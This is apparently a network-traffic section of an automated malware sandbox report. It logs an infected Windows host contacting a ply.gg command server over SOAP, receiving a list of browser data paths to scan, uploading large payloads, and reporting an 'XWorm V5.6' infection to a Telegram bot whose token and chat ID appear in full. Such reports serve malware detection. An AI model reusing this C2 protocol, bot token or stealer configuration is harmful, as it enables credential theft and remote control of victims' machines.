Jul 16, 2024 21:07:13.944873095 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944891930 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944901943 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944911003 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944971085 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944981098 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944988966 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944998026 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945044994 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945055008 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945131063 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945141077 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945166111 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945178032 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945236921 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945246935 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945257902 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945346117 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945354939 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945363998 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945373058 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945383072 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945391893 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945450068 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945458889 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945462942 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945473909 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945493937 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945616961 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945626020 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945630074 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945638895 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945647955 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945671082 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945696115 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945705891 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945746899 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945756912 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945765972 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945775986 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945785999 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945818901 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945828915 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945837975 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945883989 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945894957 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945966959 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945976973 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.945985079 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.946110010 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.946263075 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.946273088 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.946280956 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.946290016 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.946300030 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.946310043 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.946321011 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.970366001 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.975318909 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:14.649275064 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:14.686018944 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:14.686470032 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:26.580599070 CEST	49745	443	192.168.2.4	149.154.167.220
Jul 16, 2024 21:07:26.580646992 CEST	443	49745	149.154.167.220	192.168.2.4
Jul 16, 2024 21:07:26.580723047 CEST	49745	443	192.168.2.4	149.154.167.220
Jul 16, 2024 21:07:26.586972952 CEST	49745	443	192.168.2.4	149.154.167.220
Jul 16, 2024 21:07:26.587058067 CEST	443	49745	149.154.167.220	192.168.2.4
Jul 16, 2024 21:07:27.212874889 CEST	443	49745	149.154.167.220	192.168.2.4
Jul 16, 2024 21:07:27.212960005 CEST	49745	443	192.168.2.4	149.154.167.220
Jul 16, 2024 21:07:27.217207909 CEST	49745	443	192.168.2.4	149.154.167.220
Jul 16, 2024 21:07:27.217237949 CEST	443	49745	149.154.167.220	192.168.2.4
Jul 16, 2024 21:07:27.217648983 CEST	443	49745	149.154.167.220	192.168.2.4
Jul 16, 2024 21:07:27.279992104 CEST	49745	443	192.168.2.4	149.154.167.220
Jul 16, 2024 21:07:27.320576906 CEST	443	49745	149.154.167.220	192.168.2.4
Jul 16, 2024 21:07:27.532825947 CEST	443	49745	149.154.167.220	192.168.2.4
Jul 16, 2024 21:07:27.532907009 CEST	443	49745	149.154.167.220	192.168.2.4
Jul 16, 2024 21:07:27.533035040 CEST	49745	443	192.168.2.4	149.154.167.220
Jul 16, 2024 21:07:27.541403055 CEST	49745	443	192.168.2.4	149.154.167.220
Jul 16, 2024 21:07:27.665505886 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:07:27.670746088 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:07:27.670845032 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:07:27.710227013 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:07:27.715507984 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:07:40.914617062 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:07:40.919631958 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:07:41.041030884 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:07:41.062982082 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:07:41.072789907 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:07:49.720726013 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:07:49.767148972 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:07:54.049020052 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:07:54.056180000 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:07:54.173265934 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:07:54.175458908 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:07:54.180380106 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:07.236238003 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:07.241177082 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:07.360369921 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:07.362879992 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:07.368968010 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:19.752585888 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:19.798329115 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:20.407951117 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:20.412981987 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:20.534259081 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:20.536144972 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:20.540997028 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:33.579921007 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:33.584827900 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:33.706310987 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:33.708604097 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:33.713506937 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:34.704807043 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:34.711711884 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:34.833762884 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:34.835392952 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:34.840375900 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:38.111109018 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:38.116164923 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:38.173860073 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:38.178839922 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:38.237965107 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:38.239489079 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:38.244401932 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:38.597297907 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:38.597636938 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:38.597716093 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:38.598669052 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:38.604367018 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:39.392919064 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:39.397799969 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:39.517800093 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:39.522290945 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:39.527996063 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:39.751717091 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:39.758814096 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:39.882244110 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:39.883714914 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:39.889446974 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:39.986097097 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:39.991817951 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:40.112039089 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:40.113358021 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:40.118837118 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:40.282839060 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:40.289017916 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:40.408025026 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:40.409467936 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:40.414591074 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:41.392895937 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:41.398011923 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:41.521390915 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:41.526226997 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:41.531369925 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:49.732553959 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:49.782599926 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:54.564570904 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:54.569565058 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:54.688723087 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:08:54.690742016 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:08:54.695543051 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:09:00.439138889 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:09:00.444197893 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:09:00.454654932 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:09:00.459585905 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:09:00.501674891 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:09:00.506616116 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:09:00.517452002 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:09:00.522418022 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:09:00.532881021 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:09:00.538017988 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:09:00.568495035 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:09:00.570353985 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:09:00.620268106 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:09:00.625375986 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:09:00.627542973 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:09:00.632462978 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:09:00.665036917 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:09:00.666543961 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:09:00.712281942 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:09:00.720381975 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:09:00.722424984 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:09:00.727335930 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:09:00.727391958 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:09:00.732356071 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:09:07.720506907 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:09:07.725668907 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:09:07.853192091 CEST	7000	49746	45.88.186.18	192.168.2.4
Jul 16, 2024 21:09:07.854397058 CEST	49746	7000	192.168.2.4	45.88.186.18
Jul 16, 2024 21:09:07.859466076 CEST	7000	49746	45.88.186.18	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 16, 2024 21:07:02.062232971 CEST	53780	53	192.168.2.4	1.1.1.1
Jul 16, 2024 21:07:02.072988987 CEST	53	53780	1.1.1.1	192.168.2.4
Jul 16, 2024 21:07:08.369249105 CEST	53385	53	192.168.2.4	1.1.1.1
Jul 16, 2024 21:07:26.559582949 CEST	61962	53	192.168.2.4	1.1.1.1
Jul 16, 2024 21:07:26.567786932 CEST	53	61962	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 16, 2024 21:07:02.062232971 CEST	192.168.2.4	1.1.1.1	0x9	Standard query (0)	pst-child.gl.at.ply.gg	A (IP address)	IN (0x0001)	false
Jul 16, 2024 21:07:08.369249105 CEST	192.168.2.4	1.1.1.1	0x415b	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false
Jul 16, 2024 21:07:26.559582949 CEST	192.168.2.4	1.1.1.1	0x6c86	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 16, 2024 21:07:02.072988987 CEST	1.1.1.1	192.168.2.4	0x9	No error (0)	pst-child.gl.at.ply.gg		147.185.221.20	A (IP address)	IN (0x0001)	false
Jul 16, 2024 21:07:08.381776094 CEST	1.1.1.1	192.168.2.4	0x415b	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 21:07:26.567786932 CEST	1.1.1.1	192.168.2.4	0x6c86	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

pst-child.gl.at.ply.gg:9336

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	147.185.221.20	9336	6528	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 21:07:02.207060099 CEST	248	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: pst-child.gl.at.ply.gg:9336 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Jul 16, 2024 21:07:02.683413982 CEST	25	IN	HTTP/1.1 100 Continue
Jul 16, 2024 21:07:02.818061113 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 16 Jul 2024 19:07:02 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Jul 16, 2024 21:07:07.866453886 CEST	231	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: pst-child.gl.at.ply.gg:9336 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Jul 16, 2024 21:07:08.009381056 CEST	25	IN	HTTP/1.1 100 Continue
Jul 16, 2024 21:07:08.181982040 CEST	1236	IN	HTTP/1.1 200 OK Content-Length: 4744 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 16 Jul 2024 19:07:08 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	147.185.221.20	9336	6528	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 21:07:11.119765043 CEST	229	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: pst-child.gl.at.ply.gg:9336 Content-Length: 856137 Expect: 100-continue Accept-Encoding: gzip, deflate
Jul 16, 2024 21:07:13.523264885 CEST	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 16 Jul 2024 19:07:13 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	147.185.221.20	9336	6528	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 21:07:13.532079935 CEST	249	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: pst-child.gl.at.ply.gg:9336 Content-Length: 856129 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Jul 16, 2024 21:07:14.649275064 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 16 Jul 2024 19:07:14 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49745	149.154.167.220	443	6564	C:\Users\user\AppData\Local\Temp\YsrQekGS.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 19:07:27 UTC	449	OUT	GET /bot6973607627:AAGW_Zx412oiEhjCq5cqO_ZHLESeW8b4re4/sendMessage?chat_id=6678411703&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0AA15D1E2A246FDDBBF74C%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%2042ZXX86W9%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6 HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
